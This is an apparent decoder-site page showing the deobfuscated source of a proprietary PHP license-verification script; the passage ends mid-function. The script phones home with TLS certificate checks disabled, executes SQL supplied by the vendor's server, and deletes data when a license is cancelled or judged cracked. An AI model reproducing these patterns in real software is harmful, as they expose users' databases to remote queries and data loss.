Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK P..

Decoded Output download

<?php 
/*   __________________________________________________ 
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.1   | 
    |              on 2018-12-21 10:26:19              | 
    |    GitHub: https://github.com/pk-fr/yakpro-po    | 
    |__________________________________________________| 
*/ 
/* 
* Copyright (C) Incevio Systems, Inc - All Rights Reserved 
* Unauthorized copying of this file, via any medium is strictly prohibited 
* Proprietary and confidential 
* Written by Munna Khan <[email protected]>, September 2018 
*/ 
 function aplCustomEncrypt($string, $key) 
 {  
		 $encrypted_string = null;  
		 if (!(!empty($string) && !empty($key))) 
		 { 
			 goto pMlQt; 
		 } 
		 $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("aes-256-cbc"));  
		 $encrypted_string = openssl_encrypt($string, "aes-256-cbc", $key, 0, $iv);  
		 $encrypted_string = base64_encode($encrypted_string . "::" . $iv);  
		 pMlQt: 
		 return $encrypted_string; 
 }  
  
 function aplCustomDecrypt($string, $key)  
 {  
		 $decrypted_string = null; if (!(!empty($string) && !empty($key)))  
		 {  
			goto EpA3K; 
		 }  
		 $string = base64_decode($string); 
		 if (!stristr($string, "::")) 
		 {  
			goto MxGap; 
		 }  
		 $string_iv_array = explode("::", $string, 2);  
		 if (!(!empty($string_iv_array) && count($string_iv_array) == 2))  
		 {  
			goto aTdS4;  
		 }  
		 list($encrypted_string, $iv) = $string_iv_array;  
		 $decrypted_string = openssl_decrypt($encrypted_string, "aes-256-cbc", $key, 0, $iv);  
		 aTdS4: 
		 MxGap: 
		 EpA3K:  
		 return $decrypted_string;  
 }  
  
 function aplValidateNumberOrRange($number, $min_value, $max_value = INF)  
 {  
		 $result = false;  
		 if (!(filter_var($number, FILTER_VALIDATE_INT) === 0 || !filter_var($number, FILTER_VALIDATE_INT) === false))  
		 {  
			goto J3doE;  
		 }  
		 if ($number >= $min_value && $number <= $max_value) 
		 {  
			goto RldcU;  
		 }  
		 $result = false;  
		 goto BTRKy;  
		 RldcU:  
		 $result = true;  
		 BTRKy:  
		 J3doE:  
		 if (!stristr($number, "-"))  
		 {  
			goto av5Gj;  
		 }  
		 $numbers_array = explode("-", $number);  
		 if (!(filter_var($numbers_array[0], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[0], FILTER_VALIDATE_INT) === false && filter_var($numbers_array[1], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[1], FILTER_VALIDATE_INT) === false))  
		 {  
			goto Ngok2; 
		 }  
		 if ($numbers_array[0] >= $min_value && $numbers_array[1] <= $max_value && $numbers_array[0] <= $numbers_array[1])  
		 { 
			 goto fuM0v; 
		 } 
		 $result = false;  
		 goto BhRBu; 
		 fuM0v:  
		 $result = true;  
		 BhRBu:  
		 Ngok2:  
		 av5Gj:  
		 return $result; 
 }  
  
 function aplValidateRawDomain($url)  
 {  
						 $result = false;  
						 if (empty($url))  
						 { 
							 goto WJe9_; 
						 }  
						 if (preg_match("/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", strtolower($url))) 
						{  
							goto SwcAe;  
						} 
						$result = false;  
						goto nHC2G;  
						SwcAe:  
						$result = true;  
						nHC2G:  
						WJe9_:  
						return $result; 
				} 
 
				 function aplGetCurrentUrl($remove_last_slash = null, $string_to_remove_array = null)  
				 {  
				 $current_url = null; 
				 $protocol = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https" : "http";  
				 if (!isset($_SERVER["HTTP_HOST"]))  
				 {  
					goto huEJ0;  
				 }  
				 $host = $_SERVER["HTTP_HOST"]; 
				 huEJ0:  
				 if (!isset($_SERVER["SCRIPT_NAME"]))  
				 {  
					goto qPZaV;  
				 }  
				 $script = $_SERVER["SCRIPT_NAME"];  
				 qPZaV:  
				 if (!isset($_SERVER["QUERY_STRING"]))  
				 { 
					 goto WEWbZ;  
				 } 
				 $params = $_SERVER["QUERY_STRING"];  
				 WEWbZ:  
				 if (!(!empty($protocol) && !empty($host) && !empty($script))) 
				{  
					goto NqkGK; 
				}  
				$current_url = $protocol . "://" . $host . $script; 
				 if (empty($params))  
				 { 
					 goto KLgh1;  
				 }  
				 $current_url .= "?" . $params; 
				 KLgh1:  
				 if (!(!empty($string_to_remove_array) && is_array($string_to_remove_array)))  
				 {  
					goto v6EEP;  
				 } 
				 foreach ($string_to_remove_array as $key => $value) 
				 { 
					 $current_url = str_ireplace($value, '', $current_url); 
					 RdJEz: 
				 }  
				 d3572:  
				 v6EEP:  
				 if (!($remove_last_slash == 1))  
				 {  
					goto KcX59;  
				 }   
				 rgyHl:  
				 if (!(substr($current_url, -1) == "/"))  
				 {  
					goto aAuTv;  
				 }  
				 $current_url = substr($current_url, 0, -1);  
				 goto rgyHl; 
				 aAuTv: 
				 KcX59:  
				 NqkGK: 
				 return $current_url;  
				 } 
				  
				 function aplGetRawDomain($url) 
				 {  
				 $raw_domain = null; 
				 if (empty($url))  
				 {  
					goto OMJEU; 
				 } 
				 $url_array = parse_url($url);  
				 if (!empty($url_array["scheme"]))  
				 {  
					goto DMjP4;  
				 } 
				 $url = "http://" . $url;  
				 $url_array = parse_url($url); 
				 DMjP4: 
				 if (empty($url_array["host"])) 
				{ 
					goto HcNQe; 
				}  
				$raw_domain = $url_array["host"];  
				$raw_domain = trim(str_ireplace("www.", '', filter_var($raw_domain, FILTER_SANITIZE_URL))); 
				HcNQe:  
				OMJEU: 
				return $raw_domain; 
}  
 
function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash)  
{ 
				if (!filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED))  
				{  
					goto cnnf7;  
				}  
				$url_array = parse_url($url);  
				$url = str_ireplace($url_array["scheme"] . "://", '', $url); 
				if ($remove_path == 1)  
				{  
					goto aP20B;  
				}  
				$last_slash_position = strripos($url, "/"); if (!($last_slash_position > 0))  
				{  
					goto vnDc0; 
				}  
				$url = substr($url, 0, $last_slash_position + 1);  
				vnDc0: 
				goto iW2AK; 
				aP20B:  
				$first_slash_position = stripos($url, "/"); if (!($first_slash_position > 0))  
				{  
					goto kwrFv; 
				} 
				$url = substr($url, 0, $first_slash_position + 1); 
				kwrFv:  
				iW2AK:  
				if (!($remove_scheme != 1)) 
				{  
					goto PWWle;  
				} 
				$url = $url_array["scheme"] . "://" . $url;  
				PWWle: if (!($remove_www == 1))  
				{ 
					goto FSPaz;  
				} 
				$url = str_ireplace("www.", '', $url); 
				FSPaz: if (!($remove_last_slash == 1))  
				{ 
					goto YFDE2;  
				}  
				xvISn:  
				if (!(substr($url, -1) == "/")) 
					{  
						goto gnzti;  
					}  
				$url = substr($url, 0, -1);  
				goto xvISn;  
				gnzti:  
				YFDE2:  
				cnnf7:  
				return trim($url); 
}  
	 
function aplCustomPostGetHeaders($url, $refer = null, $post_info = null)  
				{  
				$user_agent = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0"; $connect_timeout = 10; $server_response_array = array(); $formatted_headers_array = array();  
				if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED)))  
				{  
				goto ZEKrD;  
				}  
				$refer = $url; 
				 ZEKrD:  
				 $ch = curl_init();  
				 curl_setopt($ch, CURLOPT_URL, $url);  
				 curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); 
				 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);  
				 curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);  
				 curl_setopt($ch, CURLOPT_REFERER, $refer);  
				 curl_setopt($ch, CURLOPT_POST, 1); 
				 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info); 
				 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
				 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
				 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
				 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);  
				 curl_setopt($ch, CURLOPT_MAXREDIRS, 10);  
				 curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use(&$formatted_headers_array) 
				 {  
				 $len = strlen($header); 
				 $header = explode(":", $header, 2);  
				 if (!(count($header) < 2)) 
					 {  
						goto VKZ1i;  
					 } return $len; 
					  VKZ1i: 
					  $name = strtolower(trim($header[0]));  
					  $formatted_headers_array[$name] = trim($header[1]); return $len; }); 
					  $result = curl_exec($ch);  
					  curl_close($ch);  
					  $server_response_array["headers"] = $formatted_headers_array;  
					  $server_response_array["body"] = $result; return $server_response_array;  
 } 
 
 function aplVerifyDate($date, $date_format) 
 { 
					 $datetime = DateTime::createFromFormat($date_format, $date); 
					 $errors = DateTime::getLastErrors();  
					 if (!$datetime || !empty($errors["warning_count"]))  
					 { 
						 goto CniTB; 
					 }  
					 $date_check_ok = true; 
					 goto TW6N_;  
					 CniTB:  
					 $date_check_ok = false; 
					 TW6N_: 
					 return $date_check_ok;  
}  
 
function aplGetDaysBetweenDates($date_from, $date_to)  
{ 
					$number_of_days = 0;  
					if (!(aplVerifyDate($date_from, "Y-m-d") && aplVerifyDate($date_to, "Y-m-d")))  
					{  
						goto CoDN4; 
					}  
					$date_to = new DateTime($date_to); 
					$date_from = new DateTime($date_from);  
					$number_of_days = $date_from->diff($date_to)->format("%a");  
					CoDN4: 
					return $number_of_days;  
}  
 
function aplParseXmlTags($content, $tag_name) 
 { 
	 $parsed_value = null;  
	 if (!(!empty($content) && !empty($tag_name)))  
	 {  
		goto INdTi;  
	 }  
	 preg_match_all("/<" . preg_quote($tag_name, "/") . ">(.*?)<\/" . preg_quote($tag_name, "/") . ">/ims", $content, $output_array, PREG_SET_ORDER); 
	 if (empty($output_array[0][1]))  
	 {  
		goto R8Sfl;  
	 }  
	 $parsed_value = trim($output_array[0][1]); 
	 R8Sfl:  
	 INdTi:  
	 return $parsed_value;  
}  
 
function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)  
{  
$notifications_array = array();  
if (!empty($content_array))  
{  
	goto yQ3VU;  
}  
$notifications_array["notification_case"] = "notification_no_connection"; 
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;  
goto uhux3; 
 yQ3VU: 
 if (!empty($content_array["headers"]["notification_server_signature"]) && aplVerifyServerSignature($content_array["headers"]["notification_server_signature"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE))  
 { 
	 goto TU4NP; 
 } 
 $notifications_array["notification_case"] = "notification_invalid_response";  
 $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;  
 goto Em56F; 
 TU4NP: 
 $notifications_array["notification_case"] = $content_array["headers"]["notification_case"];  
 $notifications_array["notification_text"] = $content_array["headers"]["notification_text"];  
 if (empty($content_array["headers"]["notification_data"]))  
 { 
	 goto Zg9V6;  
 }  
 $notifications_array["notification_data"] = json_decode($content_array["headers"]["notification_data"], true);  
 Zg9V6: 
 Em56F: 
 uhux3: 
 return $notifications_array;  
 } 
 function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)  
 { 
	 $script_signature = null;  
	 $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); 
	 if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) 
		 {  
			goto Hshmv;  
		 }  
	 $script_signature = hash("sha256", gmdate("Y-m-d") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . APL_PRODUCT_ID . implode('', $root_ips_array));  
	 Hshmv: 
	 return $script_signature;  
	 } 
function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) 
 { 
	 $result = false; $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); 
	 if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array)))  
	 { 
		 goto F3Cnp;  
	 } 
	 if (!(hash("sha256", implode('', $root_ips_array) . APL_PRODUCT_ID . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("Y-m-d")) == $notification_server_signature))  
	 { 
		 goto unCsu; 
	 } 
	 $result = true; 
	 unCsu: 
	 F3Cnp: 
	 return $result;  
} 
function aplCheckSettings() 
 { 
	 $notifications_array = array();  
	 if (!(empty(APL_SALT) || APL_SALT == "some_random_text"))  
	 { 
		 goto KXmpS; 
	 } 
	 $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT; 
	 KXmpS: 
	 if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr(APL_ROOT_URL, -1))))  
	 { 
		 goto Pr1X1; 
	 } 
	 $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;  
	 Pr1X1:  
	 if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) 
		 { 
			 goto b2uTW; 
		 } 
		 $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID; 
		 b2uTW:  
		 if (aplValidateNumberOrRange(APL_DAYS, 1, 365))  
		 {  
			goto PaOz4;  
		 } 
		 $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD; 
		 PaOz4: 
		 if (!(APL_STORAGE != "DATABASE" && APL_STORAGE != "FILE")) 
			 {  
				goto PRzEn; 
			 }  
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE; 
		PRzEn: 
		if (!(APL_STORAGE == "DATABASE" && !ctype_alnum(str_ireplace(array("_"), '', APL_DATABASE_TABLE))))  
		{ 
			goto WIfMa;  
		} 
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE; 
		WIfMa:  
		if (!(APL_STORAGE == "FILE" && !@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION))) 
			{  
				goto nyuEg;  
			} 
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;  
		nyuEg: 
		if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP)))  
		{  
			goto Yoy3U;  
		}  
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;  
		Yoy3U:  
		if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL)))))  
		{  
			goto Evsq9;  
		}  
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;  
		Evsq9: 
		if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS)))  
		{ 
			goto UGNmk;  
		} 
		foreach (APL_ROOT_NAMESERVERS as $nameserver) 
		{ 
			if (aplValidateRawDomain($nameserver))  
			{ 
				goto iEhfR; 
			} 
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS; 
		goto ZvWje; 
		iEhfR: 
		vxlwe:  
		} 
		ZvWje:  
		UGNmk: 
		if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS)))  
		{ 
			goto EhvJo; 
		} 
		$apl_root_nameservers_array = APL_ROOT_NAMESERVERS; 
		$fetched_nameservers_array = array(); 
		$dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS); 
		foreach ($dns_records_array as $record) 
		{  
			$fetched_nameservers_array[] = $record["target"]; 
			ZM6un: 
		} 
		xNl3b: 
		$apl_root_nameservers_array = array_map("strtolower", $apl_root_nameservers_array);  
		$fetched_nameservers_array = array_map("strtolower", $fetched_nameservers_array);  
		sort($apl_root_nameservers_array);  
		sort($fetched_nameservers_array); 
		if (!($apl_root_nameservers_array != $fetched_nameservers_array))  
		{ 
			goto VQOIh; 
		}  
		$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; 
		VQOIh:  
		EhvJo: 
		return $notifications_array; 
		} 
function aplParseLicenseFile() 
 { 
	 $license_data_array = array();  
	 if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)) 
		 {  
			goto tnFzD; 
		}  
		$file_content = file_get_contents(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION); 
		preg_match_all("/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/", $file_content, $matches, PREG_SET_ORDER); 
		if (empty($matches)) 
			{  
				goto kKGvc; 
			}  
		foreach ($matches as $value) 
		{ 
			if (!(!empty($value[1]) && $value[1] == $value[3]))  
			{ 
				goto ry6Ox; 
		} 
		$license_data_array[$value[1]] = $value[2];  
		ry6Ox: 
		U8KX8:  
		}  
		CnEiz: 
		kKGvc: 
		tnFzD: 
		return $license_data_array; 
} 
 
 function aplGetLicenseData($MYSQLI_LINK = null) 
 { 
	 $settings_row = array();  
	 if (!(APL_STORAGE == "DATABASE")) 
		 { 
			 goto Asz0F; 
		 } 
		 $settings_results = @mysqli_query($MYSQLI_LINK, "SELECT * FROM " . APL_DATABASE_TABLE); 
		 $settings_row = @mysqli_fetch_assoc($settings_results);  
		 Asz0F: 
		 if (!(APL_STORAGE == "FILE"))  
		 { 
			 goto v_3BC; 
		 }  
		 $settings_row = aplParseLicenseFile(); 
		 v_3BC: 
		 return $settings_row;  
} 
 
 function aplCheckConnection() 
 { 
	 $notifications_array = array();  
	 $content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/connection_test.php", APL_ROOT_URL, "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&connection_hash=" . rawurlencode(hash("sha256", "connection_test")));  
	 if (!empty($content_array)) 
		 {  
			goto tKeci; 
	   	 }  
		 $notifications_array["notification_case"] = "notification_no_connection";  
		 $notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;  
		 goto coAYa;  
		 tKeci: 
		 if (!($content_array["body"] != "<connection_test>OK</connection_test>")) 
			 {  
				goto j6vZI;  
			 } 
			 $notifications_array["notification_case"] = "notification_invalid_response";  
			 $notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;  
			 j6vZI: 
			 coAYa: 
			 return $notifications_array; 
} 
 function aplCheckData($MYSQLI_LINK = null)  
 { 
		 $error_detected = 0; 
		 $cracking_detected = 0;  
		 $data_check_result = false;  
		 extract(aplGetLicenseData($MYSQLI_LINK)); 
		 if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD)))  
		 { 
			 goto txAvT;  
		 } 
		 $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
		 $LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY); 
		 if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr($ROOT_URL, -1))))  
		 { 
			 goto mCCbf; 
		 } 
		$error_detected = 1; 
		mCCbf:  
		if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)) === false))  
		{ 
		 goto Ox4n1; 
		} 
		$error_detected = 1; Ox4n1: if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE)))  
		{ 
			goto mtVMK; 
		} 
		$error_detected = 1;  
		mtVMK:  
		if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) 
		{  
			goto QH6Kd; 
		} 
		$error_detected = 1; 
		$cracking_detected = 1;  
		QH6Kd: 
		if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES")) 
		{  
			goto mEapT; 
		} 
		aplDeleteData($MYSQLI_LINK); mEapT: if (!($error_detected != 1 && $cracking_detected != 1)) 
		{  
		goto yKLtG;  
		}  
		$data_check_result = true;  
		yKLtG:  
		txAvT:  
		return $data_check_result;  
}  
 
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)  
{  
 
	$notifications_array = array(); 
	$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php", APL_ROOT_URL, "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&connection_hash=" . rawurlencode(hash("sha256", "verify_envato_purchase")));  
	if (!empty($content_array)) 
		{ 
			goto tmvDr;  
		}  
	$notifications_array["notification_case"] = "notification_no_connection";  
	$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;  
	goto QUGJZ;  
	tmvDr: 
	if (!($content_array["body"] != "<verify_envato_purchase>OK</verify_envato_purchase>")) 
		{ 
			goto YVg8u;  
		} 
	$notifications_array["notification_case"] = "notification_invalid_response";  
	$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;  
	YVg8u: 
	QUGJZ:  
	return $notifications_array;  
} 
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null) 
 { 
	 $notifications_array = array();  
	 $apl_core_notifications = aplCheckSettings(); 
	 if (empty($apl_core_notifications))  
	 {  
		goto ezOp1;  
	 }  
	 $notifications_array["notification_case"] = "notification_script_corrupted";  
	 $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
	 goto go8oy; 
	 ezOp1: 
	 if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) 
	 { 
		 goto yhMbn;  
	 } 
	 $INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);  
	 $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
	 $content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_install.php", $ROOT_URL, $post_info);  
	 $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);  
	 if (!($notifications_array["notification_case"] == "notification_license_ok"))  
	 { 
		 goto bxEog;  
	 } 
	 $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); $LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY); 
	 $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);  
	 if (!(APL_STORAGE == "DATABASE")) 
	 { 
		 goto J0mRB;  
	 } 
	 $content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $ROOT_URL, $post_info);  
	 $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);  
	 if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"])))  
	 { 
		 goto ijPWC; 
	 } 
	 $mysql_bad_array = array("%APL_DATABASE_TABLE%", "%ROOT_URL%", "%CLIENT_EMAIL%", "%LICENSE_CODE%", "%LCD%", "%LRD%", "%INSTALLATION_KEY%", "%INSTALLATION_HASH%");  
	 $mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);  
	 $license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["notification_data"]["scheme_query"]); 
	 mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));  
	 ijPWC:  
	 J0mRB: 
	 if (!(APL_STORAGE == "FILE"))  
	 { 
		 goto YjDjf; 
	 } 
	 $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");  
	 $fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>");  
	 if (!($fwrite === false))  
	 { 
		 goto j5jli;  
	 } 
	 echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; 
	 exit; 
	 j5jli:  
	 @fclose($handle);  
	 YjDjf: 
	 bxEog:  
	 goto AMSMx; 
	 yhMbn: 
	 $notifications_array["notification_case"] = "notification_already_installed";  
	 $notifications_array["notification_text"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;  
	 AMSMx: 
	 go8oy: 
	 return $notifications_array; 
	 } 
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)  
{ 
	$notifications_array = array(); 
	$update_lrd_value = 0; 
	$update_lcd_value = 0;  
	$updated_records = 0; 
	$apl_core_notifications = aplCheckSettings(); 
	if (empty($apl_core_notifications))  
	{ 
		goto MGXq5; 
	} 
	$notifications_array["notification_case"] = "notification_script_corrupted";  
	$notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
	goto EyfI2; 
	MGXq5:  
	if (aplCheckData($MYSQLI_LINK))  
	{ 
		goto xEna5; 
	} 
	$notifications_array["notification_case"] = "notification_license_corrupted";  
	$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;  
	goto gw0RY; 
	xEna5:  
	extract(aplGetLicenseData($MYSQLI_LINK)); 
	if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("Y-m-d")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && $FORCE_VERIFICATION == 0)  
	{ 
		goto BQ3t8; 
	} 
	$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));  
	$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_verify.php", $ROOT_URL, $post_info);  
	$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);  
	if (!($notifications_array["notification_case"] == "notification_license_ok"))  
	{  
		goto KCXic;  
	} 
	$update_lcd_value = 1;  
	KCXic:  
	if (!($notifications_array["notification_case"] == "notification_license_cancelled" && APL_DELETE_CANCELLED == "YES"))  
	{ 
		goto Rkqw4; 
	} 
	aplDeleteData($MYSQLI_LINK); 
	Rkqw4: 
	goto Pouqz;  
	BQ3t8: 
	$notifications_array["notification_case"] = "notification_license_ok";  
	$notifications_array["notification_text"] = APL_NOTIFICATION_BYPASS_VERIFICATION;  
	Pouqz: 
	if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d")))  
	{ 
		goto TnRCE; 
	} 
	$update_lrd_value = 1;  
	TnRCE: 
	if (!($update_lrd_value == 1 || $update_lcd_value == 1))  
	{ 
		goto SJAY0;  
	} 
	if ($update_lcd_value == 1)  
	{ 
		goto D_jtc; 
	} 
	$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);  
	goto Bit0T; 
	D_jtc:  
	$LCD = date("Y-m-d"); 
	Bit0T: 
	$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); 
	$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);  
	$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); 
	if (!(APL_STORAGE == "DATABASE")) 
		{ 
			goto jL9U1;  
		} 
	$stmt = mysqli_prepare($MYSQLI_LINK, "UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?");  
	if (!$stmt) 
		{ 
			goto olOaP;  
		} 
	mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY); 
	$exec = mysqli_stmt_execute($stmt); $affected_rows = mysqli_stmt_affected_rows($stmt); 
	if (!($affected_rows > 0)) 
		{ 
			goto p_n3l; 
		} 
	$updated_records = $updated_records + $affected_rows;  
	p_n3l: 
	mysqli_stmt_close($stmt);  
	olOaP: 
